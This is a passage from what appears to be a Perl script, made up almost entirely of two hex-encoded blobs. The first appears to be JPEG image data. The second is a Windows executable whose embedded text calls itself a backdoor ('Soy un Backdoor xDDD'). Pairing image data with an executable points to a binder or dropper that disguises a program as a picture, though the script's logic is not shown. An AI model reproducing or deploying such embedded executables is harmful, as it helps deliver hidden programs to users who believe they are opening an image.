5bfa581c6e48361ca42398e8d9dbfb4dfde3fd8aa2f3daa6db3c2f6bdd14f19de29a33b3987d0ab44e9e5f5dd0fc6fc4c7eafedae22a0e13b407d37b286a66f76ee8cbcc1ee3ff00b43c0ffbe4af50cf15985934123258de376bd877047a15ac4edf39313133598d4c3b11110170e04b4807624755ca20fcdb97c7dcc5e56c53bc1c2c46f3c649df8bc77f9f55e25fa0b52e91c66a7800b6c31cec1ee588c0e31e87cc7a2ca73dd9c6770dc72c70fb7566f3ef201b903d5bd47dd469c19315ab3c7854d7dc662077943c8f26903eebe5cd2d24386c47220ae143148c39565300d4a50b2403f9d9377bb7f9f21f45d56b2d7ee8227b2f734fea83b0fa05e3454ecaef7ae57f896d6b7c088a534e69dc86a8cc458cc6c61d2bc12e738ecd63475713e4aea2d7d9669a390c99ccd961f67a6768b71c9f27fa75f8ecb4e35b2875236d0b8c18c15f80d7db99937fc5d3cbd54563aaeacd398e83171e8d13b206f0892add670bfcddef73dc9e7cd733d8ed0ae3fb9a1a4e3a5bff004b6ecb1c1bf4214bae97c75af948652f6234bd2b392999140653c4fe0680f9dfb721ea579fb2cc3ddbd7efeb5cac66397203bba91bbab21dfafcf6681f03e6bb30bd96cb67211e5b59647f4ad9610e8eab794119f2dbc7e1b01e7bad15ad6b1818c686b5a36000d8008c7264efe23c3e91114321111011110167fda6e7ecf0d6d25897ed7f2deecaf1fd0c3fac4fc46ff2055db2590ad8ac6d8c85b7f0415a33248ef4017e7ac47687047abf219dcad392696f3f85b235e3f93c7bf2686edcf901e3e08b56226796af8ac6c188c657c7d61b4503034799f327d49e6bd6baab5986e568ecd790490cad0f63dbd1c0f42bb559e946b5c3a6ecfecd46c4fb6fdd44e7ede7b0dd6478569188afb924b9bc449f124eeb4ed4d23a2d2d95918785cda72904787ba566d8e686e36b00361dd37f254bbd5fb2a379ed3fb7fcbd2888b37d1888baf1d8db5aa324fc7d4718a94247b5d969e7fd86faff00bf8cc46dcdd4f534e9e9dd6ff11fab8ad8cb5aa667d0a0c6fb334ed3db78dd91fa37f69df929d8bb3fca60cf7ba6f50cb0bbc61b0dde371f972fb2ba50a157194e3a74a16c3046366b1a3eff0015e85ac469f299f25ba8bf7dfcff004a7333fabf180372ba6bdb5bd3bea126e4faf0f33f92ef6768986681edb5f2145c46e04f55dcfe1b6eac76acfb2c5de77134c77e4c859c44a8d972f97f74d7d3569e0f5ef2cc2cdbfc454b0d4c7bbaa0d6fa72c3e263324d0f95c1ac6ba378249e839853cb36d5195bb26acd3dfa430d6606c12ba56c10c8c99f211b6c4069f0dbf3579c56771f996bfd8e62648f6ef217b4b248fe2d3cc214bee66252088a1b556a03a6b102f0a6fb64cad8c46d3b75df993b1f2faec8bccea372fbcb697c26707f2fc7c523faf78d1c2ffef0e6a9593ec7a07f13f17927467c23b0de21fde1fe4b4889e648992163985cd0785c362df42b89e78aac0f9e791b1451b4b9ef71d8340f128a5a95b7986099bd0f9dc0406c5caec35c3837bd8e40e1b9e836ebf651f730199c76fedb8ab95c0db732c0e68e7d3990b6fd338f9f5c6763cfdd89ccc1d07ef8f85ed23da641fd291e43c3fd0ad3155c17eddfcafc9982d259dd456db5f1b8e9a4dcece94b4b6367a971e417e8ad05a1aa68ac4185ae13dd9f67599f6db73e0d1e4d1feaad488a88888088880888808888088be5ef6c6c73dee0d6b46e49f008289aee7fd3fa8311a261792cb6ff006ac870feac0ce61a7fb447d879ac93b59af87a7ae26ad86af0d78e2898d999080d6093c760390e5b6fb78a8dd47ab72191d637f394aed8aaf96473227c3296384439346e36f00144e3a8dacd6561a70f1493d9936dcf3ebd5c7f328796e3d9f92743e30924ff0016e1cffb6e5625e6c7518f1b8dad461dfbbaf1363693d4ec36dd7a559e9d6351108ed430fb469cc943c5c3c75656efe5ee9598e2de64c5d571ff00a4d1f65af39a1cd2d3d08d8acbb1a6863a29b0f7294a66a33be274cc97de70dc969d8f2e842cb2cea37adbd1fb3f3462cd3bf787ca2f71a1159697e3a7eff61b989c36900f878fc9787a1d8aceb78b787d2d3256f1bacbcb6cd89a4831f446f6ee3fbb8bfabe6ef905a760f0d5b0189871f547bb18ddcf239c8e3d5c7e2aa9a0b1e2de4ef66a56ee213ec95f71d36e6f23e7b0dfe2af6b7ac6a1f2bd6679cd9a67da3887ffd3bca222b3d51426a4cf9c441157a710b594b8e11d4aa3abdc7c48f20a6d57da63a9dae61277b63fe574a680170e61c3dedc7e5f3292cf2da6b599844e7fb3bc9e1f0516aaf6b9723a829ccdb56413ee700e6e6347937ee37f82b0e033f8ed4549b76948c3270812c7faf19fd93fe7d1682a839eec9b1d7722eca60af4f82bee3bb9d5f9c6e3e278771b6fe876f45571e3cb3494922af7f04bb4aaac6c7067f136c6df8ac46e691f46f3f9af43744eb6bc5adc86acad5222d1c6da3577713bf838ec47c7eca76e8fbc55e8cce7f1980addfe4ad36107f0b3abde7d1a399fc944e374fe63b41b4cb59b826c669d610f8a993c32db3e05fe21be3f979ab3e0bb36d3f85b3edd2452e4f21bf11b77dfdebf7f303a0f8edbfaab6a6d85f34db8f675c30c55e16430c6d8e28da1ac6306c1a07400782ec4450c44444044440444404444044441f064635ed8cbda1eedf85a4f33b75d954fb52cc9c3682bef61da6b40558f978bf91ff0f12af66b3b37fc5ca160cbb50c74ecc73802367493c6e24fc8f00f92faed3e7fd21ab74b6046c5a6736a56ee3986f4fb07fc51311b9d30fa784ca642c36bd5c7d89647740233f73d02d7f41e881a6e075cbc18fc8ca36e5cc42df207ccf89572456d3b69862b3b11111b8a8dae7072c36467e944e9070865d8d8373c23a483e1d0fa7c15e51263644cc4ee3cb23af6038327af2f2ead7b0a94b4f6dcc6c9900d02c41ff300720f07a3bf71562ca685c65e9dd66a3e4c75871ddce836e079f32c3cbe9b28a3a1f390c73475b3151ec9e3744fef6b10784fc0f55cf7c53b89af97a14ebbb79d72b1690a428e94c7c5c3b3df08964dc6c789fef1dfeaa42ae46add9a68ab4c25301e191cce6d0ef2dfa13e9e0ab9168fc95a8a38331a8ec58ab1b43457ad1881ae681b6ce2399566a94eb50aacab5216430c6366b183601743ccaeddc8bc399ca4386c54f7a6e6236fbadf17b8fe168f895ec612e63491b123723c916dfb3e955b524becbad747d8686879bc632e3fb2ee107f3569548ed07ff18d2c77e7fa45bb7f79892cf37a25b22222abcf1111011110111101111011110111101111079b216cd0a135b15e7b262617086067148f3e4d1e2565917697a82dde923b56719a7f776d1d6bd565327cdc4b5ab5c547ed1afb2cc106998bb913641ae7cf34ac6b856aedfc4fd8f427a03f1f244d7cabff00c16b990c365a1c8de865b790b86e4566004063b66f0900f4db87ccf2f15138dc8decff006a50bf2d0f7573198e3148d0439ae783b1734f910fdfe6a670ba934d56c04d162ae35f0e3227131bdc43c86ee77e7d41f3f5552ecb2e4b91d5796bb39de59e22f71f52f054baa62bdd5d35544452ea111101111011110179eedfab8eaceb16e66c518f13d49f203a93e817a1705ad2e0e2d05cde876e6110a6c54725abf370dfc9d7929e1a9bc3eb54946cf9de3a3de3c07fbf3573444445742a5eba85d6350e93863db8df911b027facc574550ccb1b73b54d2750b5e7ba73e725be9cc7dd892cf37a25ae2222ab80444404444044441fffd4d99111011110111101111015032fa16dea7d7d62fe4a57c5858e08a1ee5afd9d6b6f7b879730ce2773f1247cd5fd7082ab9becd74b66e90ae71915391ade18e7a8d11bdbcb6f0e4ef9eeb35d03867e9dd779dc3492b667558c37bc68db8871020ede1c885baaca648451edab2ec6b1a1b768326041f2e107ee0a434c5eb85a511159e888888088880888808888088880aa98069ca76df3ca372cc5d0d86c76d8b801cfcff1956a73835a5ce3b00372557fb1c8dd7e6d43a89fb9f6db9ddc64fecb773ff70fa289737513f2c434e44552ed1b2792a181ad5b1529af6325723a7ed201de10fdf777a1e5b6feaa1c6b66eb9591d56c7a0753626c7e98bf251b6258ae476657481db30b9ae000fc5bf801e83af3b9e2bb42c36532f1e28c37a8d99b7ee05dac6213edfb24fefdba22d6acd6752b4a2222a2222022220222202222022220222202cc75f4671bda569acb1f762b51be9bcf2db7e7b7ddff0065a72a3f6b78b92f68b7ddadb8b38b99b6e323afbbc8fd8eff00244c4ea76f5a2f1e2323165b1356fc4776d8883fe07c47c8ee17b159e9c4ec44444888880888808888088882bdaeb2a313a4aeca1dc32cccee63dba92ee5cbe5b9f92f7e072f88ecf745e2f177a6749907422434ebb0c933deff00788e11d3aedb9d87259bf6b39defb2d57155dfff0027fc6c9b1e5c67a7d07e6a7f4dc8d9abc70e94c77e92cbcd131d732360931c4f70dcf1c87993d7dd0a25c79262d7e6788582feb1d516abbac88e8e99a1ff005eebbbd9fd366f2683e8775013e465cb411b9d7b3d95124ec6c16e56f7151b3177b8e0d1c3c5b100edb1d86eae588ecdea0b0cc8ea5b0ecde40731deff003117a323e9f55cf69515caf86c6e431f4df6198cbec9e68616fbddd70b9a7603fb5f2489d4b28b56278852f4f9bfa7af3dd9e339758696d685ac75892470e6787877db90f4dfe4a75989c96add4588b0719671f8ec5d96db362d3381f339bb16b1acea01f1276faa8d17a5d5fac34f8c14361d0e3ec8b36ec3e373191b796ec248ea40216b8af92f37b6e57c97fcb1e05ca22cd80888808888088880888808888088880baec4115aad2d79d81f14ac2c7b4f47348d885d8883ffd5edd2464d33a8323a32eb88ee24335173bfa488f3e5f2e7f55745e2ed3349d8cb52873b87e2666717bbe2e01ce56752df53d76f891e2bc5a5b5257d4b8a6d866ccb11ecdb10f8c6ff00f2f2530ecc17dc76ca691114ba4444404444044440519a8b37069ec34f7e6d8968e1899fb6f3d02f7cf3c55607cf3c8d8e28da5cf7b8ec1a02abe97a337683a9d99fb713e3c1e31fb5389e36efe51fae7cc0ff0021e692cb2e4ec8fdd0fa3fb27c86a2b873bab0be0867777becfbed24dbf3f7bf647dfe0b68c7e3a962a9c74e8568eb578c6cd8e36ec07fbf35e85caabcf170b9441c000740b944404444044440444404444044440444404444044441c2cf757e87bf5f26fd4fa40b22c8104daa67932d0f41fb5f9f5e47ae86b844c4eb9866584d6343312474dcc7d5c8f198e6a728d9f1b83493d7a8e5b2b0a8fd691d5835be9ab1dc3193cded11ba60d1c4efe2c6cd27c7aa88d539ab18ccde0e1ab4e7baf92495e6bc0377bc0611cbcf6e2df6f456dbb699374eeb2ce8abb06bac13e5305b9e5c6d81f8a0bd13a2737c39efcbafaf82958b338ab0ce387274e56efb71327691f628d62d59f12f6a2f37e92a1ffd6d7ffd56ff009af0dbd57a7a935c67ccd31c2762d6cc1ee1f26ee513b884baf3643234f154df72f4ec8208c6ee7b8fd8799f40aac75cdbcc48eada47056b292efb77ef61642c3e64ff00996a94c4f65f732b723ca6b9c87b7cade71d084910c7e848db7f80f2e64a6d8df3d63c7284a7472fdaa5c1b364c7e98865f79e793ed6de03fdec3d485af51a55b1b4a1a54e26c35e060646c6f4680bb21862af0b218636c7146d0d6318360d03a003c1762ab8ad69b4ee4444440888808888088880888808888088880888808888088880888808888283da4f14198d2970ec58cc83a1209d8ef237607ec578a42eff008ada6411ee7716b63ebddf3fdca73b51a4fb5a26c59886f2e3a465c67fe43b9fb6eabb6ec81acb47e5e37010cd2be1dc8dc7f1b1fbbf32a5b567f0e61a3ddc6d0c945dd5fa55ed47fb33441e3e842af5becbf45dd3bc98181849e2fe25ef8bff00691cbd15ad1431524763fa1c389fd10f20f81b52ec3fc4a468f675a3f1c5a60c0547168e4666994f5dff005c9e7eaaca883e228628236c50c6d8d8de4d6b06c07c97da22022220ffd6d991110111101111011110111101111011110111101111011110111101111074daad15ca92d599bc514cc2c7b7cc11b158ecf52d45a42c503bbb23a66e07337ea446ee261f818cad86eddad8ea535cb73361af034be491e760d016633e7a1bdaca2c9d2c56423c7e4e1104f62683863908fe6dfd771b825bef01cb646b8bcebf569b46e4390a105daee0e86c46d9187cc11b85e8599d2c66a5a34462a967db431f59eef6631576c929613b80e2ee400df61b78295d05a83296f2798c0662cb6ed8c6398596db186778c78dc0701c811fefa22b6c76ac6e57744445044440444404444044440444404444044440444404444044440444404444044440444415cd7d82b9a8f48dbc763dcd161c58f635e760fe17077093e1becaad2e5f3f4a4a50dfd36691b53b6b87bedb1cde2d893b06ee480013e1d3aad3151bb50ad762a58dcf546095987b2669e12ee1e28c8d891bf88fde8d2979acf0f0e6aac7733584ad667b3155b561f0482bcef89c498cb9bcda478b7eeae581d3589d3555f5f155bb96c8ee291ce7173a43e649e65675a7724fed0b53e3ec50af2418ac3cded333e7e10e7cbb6cc68009f32775ad2994e5b45adc0888a1908888088880888808888088880888808888088883ffd7d99111011110111107ffd9";
  7. my $valor_dos =
  8. "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010500d750435100160000d2010000e00007030b010238000a000000120000000200002012000000100000002000000000400000100000000200000400000001000000040000000000000000600000000400004252000003000000000020000010000000001000001000000000000010000000000000000000000000500000ac020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e746578740000003009000000100000000a000000040000000000000000000000000000600000602e64617461000000400000000020000000020000000e0000000000000000000000000000400000c02e7264617461000000010000003000000002000000100000000000000000000000000000400000402e62737300000000b0000000004000000000000000000000000000000000000000000000800000c02e69646174610000ac020000005000000004000000120000000000000000000000000000400000c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005589e583ec18895df88b550831db8975fc8b0231f68b003d910000c077433d8d0000c0725bbe01000000c704240800000031c089442404e89407000083f801746c85c0742ac7042408000000ffd0bbffffffff89d88b75fc8b5df889ec5dc204003d930000c074bd3d940000c074bb89d88b75fc8b5df889ec5dc204008d76003d050000c075e8c704240b00000031f689742404e83707000083f801743485c074cdc704240b000000ffd0eba1c7042408000000bb01000000895c2404e80e07000085f67488e845020000bbffffffffeb81c704240b000000b901000000bbffffffff894c2404e8e4060000e962ffffffeb0d909090909090909090909090905589e55383ec248d5df8c7042400104000e86a07000083ec04e8f2010000c745f800000000b8004040008d55f4895c24108b0d002040008944240489542408894c240cc7042404404000e8b1060000a11040400085c07458a3102040008b15dc50400085d20f858b00000083fae07420a110404000894424048b1ddc5040008b4b30890c24e8660600008b15dc50400083fac0741b8b1d10404000895c24048b0ddc5040008b5150891424e840060000e82b0600008b1d102040008918e81e01000083e4f0e8f60500008b08894c24088b150040400089542404a104404000890424e8a900000089c3e8c2050000891c24e89a060000894424048b15dc5040008b4210890424e8e50500008b15dc504000e955ffffff8d76008dbc27000000005589e583ec08c7042401000000ff15d0504000e8c8feffff908db426000000005589e583ec08c7042402000000ff15d0504000e8a8feffff908db42600000000558b0dec50400089e55dffe18d742600558b0de050400089e55dffe1909090905589e55de957020000909090909090905589e583ec0883e4f0b80000000083c00f83c00fc1e804c1e0048945fc8b45fce86b040000e806010000c7042400304000e84a050000e815060000b800000000c9c3909090909090909090909090909055b90031400089e5eb148db6000000008b51048b0183c10801820000400081f90031400072ea5dc390909090909090905589e5dbe35dc39090909090909090905589e583ec08a1202040008b0885c97426eb0d90909090909090909090909090ff108b0d202040008b51048d4104a32020400085d275e9c9c38db426000000005589e55383ec04a11c19400083f8ff742985c089c3741389f68dbc2700000000ff149d1c1940004b75f6c7042420134000e8cafeffff5b5b5dc38b0d2019400031c085c9eb0a408b14852019400085d275f4ebbd8db6000000008dbf000000005589e55383ec04a12040400085c07536a11c194000bb01000000891d2040400083f8ff742585c089c3740f908d742600ff149d1c1940004b75f6c7042420134000e85afeffff5b5b5dc38b0d2019400031c085c9eb0a408b14852019400085d275f4ebc190909090909090909090909055a17040400089e55d8b4804ffe189f655ba4200000089e5530fb7c083ec64895424088d55a831db89542404890424ff15b4504000ba1f000000b90100000083ec0c85c07507eb4601c94a780e807c2aa84175f409cb01c94a79f2833b3c750789d88b5dfcc9c3b944304000baea000000894c240c89542408c7042471304000b89030400089442404e892020000b8bc304000bbe40000008944240c895c2408ebd78db426000000008dbc27000000005589e557565381eccc0000008b0d7040400085c974088d65f45b5e5f5dc3c7459841414141a1203040008d7598c7459c41414141c745a0414141418945b8a124304000c745a441414141c745a8414141418945bca128304000c745ac41414141c745b0414141418945c0a12c304000c745b4414141418945c4a1303040008945c8a1343040008945cca1383040008945d0a13c3040008945d40fb70540304000668945d8893424ff15b05040000fb7c083ec0485c0898544ffffff0f853b010000c704243c000000e89302000085c089c30f8459010000fc89c78b8544ffffffb90f000000f3abc7430450184000b901000000c7430830144000a140404000c7033c0000008b1544404000c7432800000000894314a1302040008953188b153420400089431ca150404000895320c74330ffffffff89432c8b153c204000a138204000895338ba1f00000089433489f689d821c883f80119c0242001c9044188842a48ffffff4a79e7a120304000898568ffffffa12430400089856cffffffa128304000898570ffffffa12c304000898574ffffffa130304000898578ffffffa13430400089857cffffffa138304000894580a13c3040008945840fb70540304000668945888d8548ffffff890424ff15a85040000fb7f883ec0485ff754231d285d2751e891c24e863010000893424ff15b050400083ec040fb7c0e85ffdffff89c3891d704040008d4304a3604040008d4308a3804040008d65f45b5e5f5dc389f8e838fdffff39d889fa75b1ebb1e83b01000090909090909090909090905189e183c1083d00100000721081e9001000008309002d00100000ebe929c183090089e089cc8b088b4004ffe09090905589e583ec188b4514894424108b45108944240c8b450c894424088b450889442404a1dc50400083c040890424e8ee000000a1dc50400083c040890424e8ce000000e8b9000000909090909090909090ff25d050400090900000000000000000ff25d450400090900000000000000000ff25c850400090900000000000000000ff250451400090900000000000000000ff25cc50400090900000000000000000ff25e450400090900000000000000000ff25c450400090900000000000000000ff250051400090900000000000000000ff25d850400090900000000000000000ff25f850400090900000000000000000ff25fc50400090900000000000000000ff25e850400090900000000000000000ff25f050400090900000000000000000ff25f450400090900000000000000000ff25b850400090900000000000000000ff25ac50400090900000000000000000ff25b450400090900000000000000000ff25b050400090900000000000000000ff25a8504000909000000000000000005589e55de9a7f9ffff909090909090905589e583ec08a1dc504000ff4804837804007811a1dc5040008b100fb6128955fcff00eb10a1dc504000890424e80effffff8945fc8b45fcc9c39090ffffffffd018400000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000004000000000000000000000000000002c19400000000000000000000000000000000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000536f7920756e204261636b646f6f7220784444440000000000000000000000002d4c49424743435733322d45482d322d534a4c4a2d475448522d4d494e475733320000007733325f7368617265647074722d3e73697a65203d3d2073697a656f66285733325f45485f534841524544290025733a25753a206661696c656420617373657274696f6e20602573270a00002e2e2f2e2e2f6763632f6763632f636f6e6669672f693338362f7733322d7368617265642d7074722e63000047657441746f6d4e616d6541202861746f6d2c20732c2073697a656f662873292920213d2030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004050000000000000000000004c520000a85000005c5000000000000000000000a0520000c45000000000000000000000000000000000000000000000000000000c51000018510000285100003451000044510000000000000000000064510000745100008451000094510000a8510000b4510000c0510000c8510000d4510000e0510000e8510000f4510000005200000c52000014520000205200002c52000000000000000000000c51000018510000285100003451000044510000000000000000000064510000745100008451000094510000a8510000b4510000c0510000c8510000d4510000e0510000e8510000f4510000005200000c52000014520000205200002c52000000000000010041646441746f6d4100009b004578697450726f63657373000000af0046696e6441746f6d4100dc0047657441746f6d4e616d65410000df02536574556e68616e646c6564457863657074696f6e46696c74657200000027005f5f6765746d61696e61726773003c005f5f705f5f656e7669726f6e00003e005f5f705f5f666d6f64650000000050005f5f7365745f6170705f747970650000000079005f636578697400000000aa005f66696c627566000000e9005f696f6200005e015f6f6e6578697400000084015f7365746d6f64650000150261626f7274001c0261746578697400000000300266666c757368000000003902667072696e74660000003f0266726565000072026d616c6c6f63000000007f027072696e74660000000090027369676e616c0000000000500000005000000050000000500000005000004b45524e454c33322e646c6c0000000014500000145000001450000014500000145000001450000014500000145000001450000014500000145000001450000014500000145000001450000014500000145000006d73766372742e646c6c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e66696c650000000f000000feff00006701637274312e63000000000000000000000000000000000400000000000000010020000301000000000000000000000000000000000000000000001e000000000100000100200003000000000032000000200200000100200002000000000042000000400200000100200002005f61746578697400600200000100200002005f5f6f6e65786974700200000100200002002e74657874000000000000000100000003017c02000026000000000000000000000000002e64617461000000000000000200000003010000000000000000000000000000000000002e62737300000000000000000400000003010800000000000000000000000000000000002e66696c6500000019000000feff0000670163727473747566662e6300000000000000000000000055000000800200000100200002010000000000000000000000000000000000002e74657874000000800200000100000003010900000001000000000000000000000000002e64617461000000000000000200000003010000000000000000000000000000000000002e62737300000000100000000400000003010000000000000000000000000000000000002e66696c6500000027000000feff00006701686f6c616d756e646f2e63707000000000005f6d61696e000000900200000100200002000000000065000000e00800000100000003013a00000004000000000000000000020000005f67657463686172e00800000100200002002e74657874000000900200000100000003014200000005000000000000000000000000002e64617461000000000000000200000003010000000000000000000000000000000000002e62737300000000100000000400000003010000000000000000000000000000000000002e72646174610000000000000300000003011500000000000000000000000000000000002e66696c650000002f000000feff00006701435254676c6f622e630000000000000000002e74657874000000e00200000100000003010000000000000000000000000000000000002e64617461000000000000000200000003010400000000000000000000000000000000002e62737300000000100000000400000003010000000000000000000000000000000000002e66696c6500000037000000feff00006701435254666d6f64652e6300000000000000002e74657874000000e00200000100000003010000000000000000000000000000000000002e64617461000000100000000200000003010000000000000000000000000000000000002e62737300000000100000000400000003010400000000000000000000000000000000002e66696c650000003f000000feff000067017478746d6f64652e630000000000000000002e74657874000000e00200000100000003010000000000000000000000000000000000002e64617461000000100000000200000003010400000000000000000000000000000000002e62737300000000200000000400000003010000000000000000000000000000000000002e66696c6500000049000000feff0000670170736575646f2d72656c6f632e63000000000000000073000000e00200000100200002010000000000000000000000000000000000002e74657874000000e00200000100000003012800000003000000000000000000000000002e64617461000000200000000200000003010000000000000000000000000000000000002e62737300000000200000000400000003010000000000000000000000000000000000002e66696c6500000054000000feff000067014352545f667031302e6300000000000000005f6670726573657410030000010020000201000000000000000000000000000000000000000000008e000000100300000100200002002e74657874000000100300000100000003010700000000000000000000000000000000002e64617461000000200000000200000003010000000000000000000000000000000000002e62737300000000200000000400000003010000000000000000000000000000000000002e66696c6500000062000000feff000067016763636d61696e2e63000000000000000000000000009800000020000000040000000300702e3000000000002000000002000000030000000000a50000002003000001002000020100000000000000000000000000000000000000000000b8000000600300000100200002005f5f5f6d61696e00c00300000100200002002e74657874000000200300000100000003010401000011000000000000000000000000002e64617461000000200000000200000003010400000001000000000000000000000000002e62737300000000200000000400000003011000000000000000000000000000000000002e66696c6500000008010000feff0000670100000000cb000000000000000000000000002e74657874000000300400000100000003010000000000000000000000000000000000002e64617461000000300000000200000003010000000000000000000000000000000000002e627373000000003000000004000000030102000000000000000000000000000000000000000000df0000002000000003000000030000000000f000000030040000010020000301000000000000000000000000000000000000000000001401000040040000010020000300000000002901000040000000040000000300000000003c01000030000000020000000300000000004701000050000000040000000300000000005401000038000000020000000300000000005f010000e00400000100200002002e7465787400000030040000010000000301e50200002c000000000000000000000000002e64617461000000300000000200000003011000000000000000000000000000000000002e62737300000000400000000400000003012000000000000000000000000000000000002e7264617461000020000000030000000301c3000000000000000000000000000000000070726f626500000026070000010000000600646f6e65000000003d0700000100000006002e74657874000000200700000100000003012d00000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e74657874000000500700000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e6273730000000060000000040000000301000000000000000000000000000000000000000000007b010000500700000100200002010000000000000000000000000000000000002e74657874000000500700000100000003014700000005000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e74657874000000a00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437740200000500000003002e69646174612435dc0000000500000003002e69646174612434740000000500000003002e69646174612436c00100000500000003002e74657874000000a00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437680200000500000003002e69646174612435d00000000500000003002e69646174612434680000000500000003002e69646174612436940100000500000003002e74657874000000b00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437840200000500000003002e69646174612435ec0000000500000003002e69646174612434840000000500000003002e69646174612436e80100000500000003002e74657874000000b00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437780200000500000003002e69646174612435e00000000500000003002e69646174612434780000000500000003002e69646174612436c80100000500000003002e74657874000000b00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124376c0200000500000003002e69646174612435d40000000500000003002e696461746124346c0000000500000003002e69646174612436a80100000500000003002e74657874000000c00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437600200000500000003002e69646174612435c80000000500000003002e69646174612434600000000500000003002e69646174612436740100000500000003002e74657874000000d00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124379c0200000500000003002e69646174612435040100000500000003002e696461746124349c0000000500000003002e696461746124362c0200000500000003002e74657874000000e00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437640200000500000003002e69646174612435cc0000000500000003002e69646174612434640000000500000003002e69646174612436840100000500000003002e74657874000000f00700000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124377c0200000500000003002e69646174612435e40000000500000003002e696461746124347c0000000500000003002e69646174612436d40100000500000003002e74657874000000000800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124375c0200000500000003002e69646174612435c40000000500000003002e696461746124345c0000000500000003002e69646174612436640100000500000003002e74657874000000100800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437980200000500000003002e69646174612435000100000500000003002e69646174612434980000000500000003002e69646174612436200200000500000003002e74657874000000200800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437700200000500000003002e69646174612435d80000000500000003002e69646174612434700000000500000003002e69646174612436b40100000500000003002e74657874000000300800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437900200000500000003002e69646174612435f80000000500000003002e69646174612434900000000500000003002e696461746124360c0200000500000003002e74657874000000400800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437940200000500000003002e69646174612435fc0000000500000003002e69646174612434940000000500000003002e69646174612436140200000500000003002e74657874000000500800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437800200000500000003002e69646174612435e80000000500000003002e69646174612434800000000500000003002e69646174612436e00100000500000003002e74657874000000600800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437880200000500000003002e69646174612435f00000000500000003002e69646174612434880000000500000003002e69646174612436f40100000500000003002e74657874000000700800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124378c0200000500000003002e69646174612435f40000000500000003002e696461746124348c0000000500000003002e69646174612436000200000500000003002e66696c6500000018010000feff0000670166616b650000000000000000000000000000686e616d650000005c000000050000000300667468756e6b0000c40000000500000003002e74657874000000800800000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e69646174612432140000000500000003011400000003000000000000000000000000002e69646174612435c00000000500000003010400000000000000000000000000000000002e69646174612434580000000500000003010400000000000000000000000000000000002e66696c6500000049010000feff0000670166616b6500000000000000000000000000002e74657874000000800800000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e69646174612434a00000000500000003010400000000000000000000000000000000002e69646174612435080100000500000003010400000000000000000000000000000000002e69646174612437a00200000500000003010b00000000000000000000000000000000002e74657874000000800800000100000003002e6461746100